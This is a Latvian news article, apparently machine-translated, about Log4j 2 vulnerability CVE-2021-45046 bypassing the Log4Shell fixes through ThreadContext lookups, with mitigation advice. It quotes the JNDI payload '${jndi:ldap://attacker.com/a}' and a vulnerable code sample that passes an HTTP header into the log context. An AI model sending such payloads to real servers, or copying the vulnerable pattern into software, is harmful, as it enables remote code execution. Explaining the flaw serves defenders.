Jauna uzbrukuma opcija Log4j 2, kas ļauj apiet pievienoto aizsardzību

Vēl viena ievainojamība ir identificēta JNDI uzmeklēšanas ieviešanā Log4j 2 bibliotēkā (CVE-2021-45046), kas parādās, neskatoties uz 2.15. laidienā pievienotajiem labojumiem un neatkarīgi no iestatījuma “log4j2.noFormatMsgLookup” izmantošanas aizsardzībai. Problēma ir bīstama galvenokārt vecākām Log4j 2 versijām, kas aizsargātas, izmantojot karogu “noFormatMsgLookup”, jo tas ļauj apiet aizsardzību pret iepriekšējām ievainojamībām (Log4Shell, CVE-2021-44228), kas ļauj izpildīt kodu serveris. 2.15. versijas lietotājiem izmantošana ir ierobežota līdz lietojumprogrammas avārijas izraisīšanai pieejamo resursu izsmelšanas dēļ.

Ievainojamība parādās tikai sistēmās, kas reģistrēšanai izmanto konteksta uzmeklēšanu, piemēram, ${ctx:loginId} vai MDC veidnes (pavedienu kontekstkarte), piemēram, %X, %mdc un %MDC. Darbība ir saistīta ar nosacījumu radīšanu datu izvadīšanai, kas satur JNDI aizvietojumus žurnālā, ja lietojumprogrammā tiek izmantoti konteksta vaicājumi vai MDC veidnes, kas nosaka žurnāla izvades formatēšanas noteikumus.

Pētnieki no LunaSec atzīmēja, ka Log4j versijām, kas jaunākas par 2.15, šo ievainojamību var izmantot kā jaunu vektoru Log4Shell uzbrukumam, kas noved pie koda izpildes, ja žurnāla izvadē tiek izmantotas ThreadContext izteiksmes, kas ietver ārējos datus, neatkarīgi no tā, vai karodziņš "aizsargāt" ir iespējots. noMsgFormatLookups" vai veidne "%m{nolookups}".

Jauna uzbrukuma opcija Log4j 2, kas ļauj apiet pievienoto aizsardzību

Aizsardzības apiešana ir saistīta ar faktu, ka “${jndi:ldap://attacker.com/a}” tiešas aizstāšanas vietā šī izteiksme tiek aizstāta ar starpposma mainīgā vērtību, ko izmanto žurnāla izvades formatēšanas noteikumos. . Piemēram, ja, izvadot žurnālā, tiek izmantots konteksta vaicājums ${ctx:apiversion}, tad uzbrukumu var veikt, aizvietojot datus “${jndi:ldap://attacker.com/a}” vērtība, kas ierakstīta apiversion mainīgajam. Ievainojamā koda piemērs: apender.console.layout.pattern = ${ctx:apiversion} - %d{ggyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP galvenes vērtība "X-Api-Version" tiek nodota ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Izvadot uz žurnālu, ārējā apiversion vērtība tiks apstrādāta, izmantojot aizstāšanu ${ctx:apiversion} logger.info("Saņemts API versijas pieprasījums"); atgriezt "Sveika, pasaule!"; }

Log4j versijā 2.15 ievainojamību var izmantot, lai veiktu DoS uzbrukumus, kad vērtības tiek nodotas ThreadContext, kā rezultātā izvades formatēšanas veidņu apstrādē rodas cilpa.

Jauna uzbrukuma opcija Log4j 2, kas ļauj apiet pievienoto aizsardzību

Lai bloķētu ievainojamību, tika publicēti atjauninājumi 2.16 un 2.12.2. Log4j 2.16 filiālē papildus labojumiem, kas ieviesti versijā 2.15 un JNDI LDAP pieprasījumu saistīšanai ar “localhost”, JNDI funkcionalitāte pēc noklusējuma ir pilnībā atspējota un tiek noņemts atbalsts ziņojumu aizstāšanas veidnēm. Kā drošības risinājums ir ieteicams noņemt klasi JndiLookup no klases ceļa (piemēram, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”). .

Varat izsekot labojumu parādīšanos pakotnēs izplatīšanas (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) un Java platformu ražotāju (GitHub, Docker, Oracle, vmWare, Broadcom un Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure utt.).

Avots: opennet.ru

Pievieno komentāru